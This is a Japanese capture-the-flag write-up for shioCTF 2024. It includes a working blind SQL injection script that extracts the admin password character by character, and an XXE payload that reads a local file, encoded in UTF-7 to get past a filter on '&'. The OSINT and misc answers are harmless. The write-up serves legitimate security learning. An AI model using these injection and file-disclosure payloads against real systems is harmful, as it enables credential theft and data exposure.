shioCTF 2024 Writeup
Table of Contents
はじめに
2024/02/12-14にかけて開催されたshioCTF 2024にtaskとして参加しました。結果4位でした。
shioさん、誕生日おめでとうございました! 🎉
Web
SimpleDB(n solved/172 pts)
adminのパスワードを特定してください!
usernameとpasswordでログインできるサービスのようです。
シンプルな実装でSQLのクエリがInjectableなので、SQL Injection問に見えます。ただし、DBの内容が出力されない形式なので、HTTP status codeをOracleとするBlind SQL Injectionと考えられます。
SQLのplaceholderは f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
なので、username
にadmin
、password
にSUBSTRで1文字ずつリークするようなクエリを入れれば良いです。
エクスプロイトを書いて実行すると、最初は shioCTF{****}
というダミーフラグが得られたのですが、どうやら試験用のフラグだったようです。これはORDER BY password DESC
に置き換えることで回避できました。
最終的なエクスプロイトコードは次の通りです。
import requests
import string
url = "http://localhost:5000" # replace it with the production one
flag = "shioCTF{"
for idx in range(len(flag), 100):
print(f"flag: {flag}")
for ch in string.printable:
username = "admin"
password_check = f"' OR SUBSTR((SELECT password FROM users WHERE username = 'admin' ORDER BY password DESC), {idx+1}, 1) = '{ch}' -- "
# print(f"Trying: {password_check}")
resp = requests.post(
url, data={"username": username, "password": password_check}
)
if resp.status_code == 200:
flag += ch
if ch == '}':
print(flag)
exit(0)
break
if ch == string.printable[-1]:
print("Character not found")
exit(1)
shioCTF{b1ind_sqli_i5_d4nger0u5!}
card(n solved/258 pts)
誕生日カードを送り合えるWebアプリができました!
誕生日メッセージを /send
で登録して、 /view
で閲覧できるサービスのようです。宛先は、実装を見るとCookieに保存されている user_id
で決定されていることが分かります。
実装を見ると、わざわざメモをXML形式で保存している部分が気になります。XMLと言われればXXEが怪しいので、ローカルで動かして実験します。
Flagの場所はDockerfileを見ると、/app/flag.txt
であることがわかるので、脳死で以下のようなXMLを送ります。
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///app/flag.txt'>]>
<card><message>&test;</message></card>
すると、フロントエンドでは次の出力が得られました。
Error parsing XML: Extra content at the end of the document, line 1, column 33 (f0ed0c4f9b2ec182596edbf33b056926_26af6f92-861e-403d-a124-ec7536d119ee.xml, line 1)
パースに失敗しているようです。Dockerコンテナに入り、状態を確認します。
<card><message></message></card><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///app/flag.txt'>]>
<card><message>test;</message></card>
ここで、リクエストに対して2つの変更が加えられていることが分かります。
1つ目は、<card><message></message></card>
が挿入されていることです。これはフロントエンドで追加された部分なので、直接リクエストを送ることで回避できるため無視します。
2つ目は、XXEのための &
が削除されていることです。これは、バックエンドの card_data = card_data.replace('&','')
で削除されている部分なので回避できません。
一応、この方法が回避できる方法があると仮定して、直接Dockerコンテナ内部のファイルを書き換えることで、XXEが刺さることを確認します。
root@79977f41e92f:/app/cards# cat f0ed0c4f9b2ec182596edbf33b056926_26af6f92-861e-403d-a124-ec7536d119ee.xml
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///app/flag.txt'>]>
<card><message>&test;</message></card>
この状態で /view
にアクセスすると、 shioCTF{**SECRET**}
が表示されていることが分かります。したがって、&
を使わない別の方法でエクスプロイトする方法を考える方針とします。
HackTricksのページを眺めていると、 UTF-7
によるWAF bypassがあるようです。これを用いて、別の文字セットで&
を表現すれば良さそうです。
最終的なエクスプロイトコードは次の通りです。
import requests
import re
import uuid
url = "http://localhost:5000" # replace it with the production one
rid = uuid.uuid4()
payload = '<?xml version="1.0" encoding="UTF-7"?>'
payload += "+ADw-+ACE-DOCTYPE+ACA-root+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-test+ACA-SYSTEM+ACA-'file:///app/flag.txt'+AD4-+AF0-+AD4-+ADw-card+AD4-+ADw-message+AD4-+ACY-test+ADs-+ADw-/message+AD4-+ADw-/card+AD4-"
resp = requests.post(
f"{url}/send",
data={"recipient_id": rid, "card_data": payload},
headers={"Cookie": f"user_id={rid}"},
)
assert resp.status_code == 200
resp = requests.get(f"{url}/view", headers={"Cookie": f"user_id={rid}"})
assert resp.status_code == 200
matches = re.findall(r"shioCTF{.+}", resp.text)
print(matches[0])
shioCTF{UTF7_1s_u5efu1_enc0d1ng}
OSINT
aburasoba(n solved/100 pts)
ある大学生に人気の油そば。 このお店で流れているBGMはずっと変わっていない。 その音楽の楽曲名を答えよ。 例えば、葬送のフリーレンは shioCTF{勇者} 等となる。
画像を見たら、以前行ったことがあったので分かりました。
ニコニコ大百科によると、ルパン3世のテーマが流れているようです。
shioCTF{ルパン3世のテーマ}
club(n solved/100 pts)
shioは大学のサークルでCTFdを使って、Webアプリをホストしたことがある。 そのサークル名を答えよ。 例えば、東京大学のTSGである場合は shioCTF{TSG} となる。 https://twitter.com/shiosa1t/status/1656154711505108992
shioさんは早稲田生なので、脳死で shioCTF{m1z0r3}
を提出したら失敗。早稲田 ctfでググると、コンピュータ研究会・WINCというサークルがあるようです。これが正解でした。
shioCTF{WINC}
MISC
fictional mountain(n solved/100 pts)
彼女が立っている山の標高をメートルで答えてください。 例えば、富士山の場合は shioCTF{3776} になります。
画像を見ると原神のように見えたので、原神 標高でググります。すると、原神科学:標高ランキングというページが見つかります。
ページを見ていくと、配布画像と似た場所が八酝山であることが分かります。
shioCTF{158}
おわりに
XXEの問題は本番で通したことが無かったので面白かったです。shioさん、誕生日おめでとうございました! 🎉